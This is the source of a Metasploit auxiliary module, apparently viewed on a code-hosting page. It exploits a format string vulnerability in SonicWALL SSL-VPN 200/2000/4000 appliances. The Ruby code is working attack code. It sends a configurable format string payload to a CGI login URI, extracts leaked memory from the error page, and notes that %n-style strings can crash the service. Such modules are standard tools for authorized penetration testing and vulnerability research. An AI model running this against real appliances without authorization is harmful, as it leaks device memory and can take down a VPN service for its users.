Path: blob/master/modules/auxiliary/dos/http/sonicwall_ssl_format.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.89def initialize(info = {})10super(11update_info(12info,13'Name' => 'SonicWALL SSL-VPN Format String Vulnerability',14'Description' => %q{15There is a format string vulnerability within the SonicWALL16SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory17can be read or written to, depending on the format string used.18There appears to be a length limit of 127 characters of format19string data. With physical access to the device and debugging,20this module may be able to be used to execute arbitrary code remotely.21},22'Author' => [ 'aushack' ],23'License' => MSF_LICENSE,24'References' => [25[ 'BID', '35145' ],26[ 'OSVDB', '54881' ],27[ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ],28],29'DisclosureDate' => '2009-05-29',30'Notes' => {31'Stability' => [CRASH_SERVICE_DOWN],32'SideEffects' => [],33'Reliability' => []34}35)36)3738register_options([39OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]),40OptString.new('FORMAT', [ true, 'Format string (i.e. %x, %s, %n, %p etc)', '%x%x%x%x%x%x%x' ]),41Opt::RPORT(443),42OptBool.new('SSL', [true, 'Use SSL', true]),43])44end4546def run47if (datastore['FORMAT'].length > 125) # Max length is 127 bytes48print_error('FORMAT string length cannot exceed 125 bytes.')49return50end5152fmt = datastore['FORMAT'] + 'XX' # XX is 2 bytes used to mark end of memory garbage for regexp53begin54res = send_request_raw({55'uri' => normalize_uri(datastore['URI']) + fmt56})5758if res && (res.code == 200)59res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)60print_status("Information leaked: #{::Regexp.last_match(1)}")61end6263print_status("Request sent to #{rhost}:#{rport}")64rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout65print_status("Couldn't connect to #{rhost}:#{rport}")66rescue ::Timeout::Error, ::Errno::EPIPE => e67vprint_error(e.message)68end69end70end717273